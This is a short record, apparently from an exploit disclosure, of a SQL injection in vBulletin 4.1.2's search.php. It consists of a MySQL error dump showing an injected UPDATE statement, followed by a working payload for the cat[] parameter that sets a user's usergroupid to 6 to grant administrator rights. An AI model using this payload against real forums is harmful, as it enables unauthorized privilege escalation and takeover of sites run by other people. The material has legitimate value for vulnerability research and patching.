Database error in vBulletin 4.1.2:

Invalid SQL:
SELECT DISTINCT socialgroupcategory.title from socialgroupcategory AS
				socialgroupcategory WHERE socialgroupcategoryid IN (1) UPDATE `user` SET usergroupid = '2'  WHERE userid = '2';);

MySQL Error   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE `user` SET usergroupid = '2'  WHERE userid = '2';)' at line 2
Error Number  : 1064
Request Date  : Monday, June 20th 2011 @ 03:57:50 PM
Error Date    : Monday, June 20th 2011 @ 03:57:50 PM
Script        : http://localhost/search.php?do=process
Referrer      : http://localhost/search.php
IP Address    : 127.0.0.1
Username      : 
Classname     : vB_Database
MySQL Version : 5.1.40-community

&cat[0]=1) UPDATE user SET usergroupid=6 WHERE userid=2#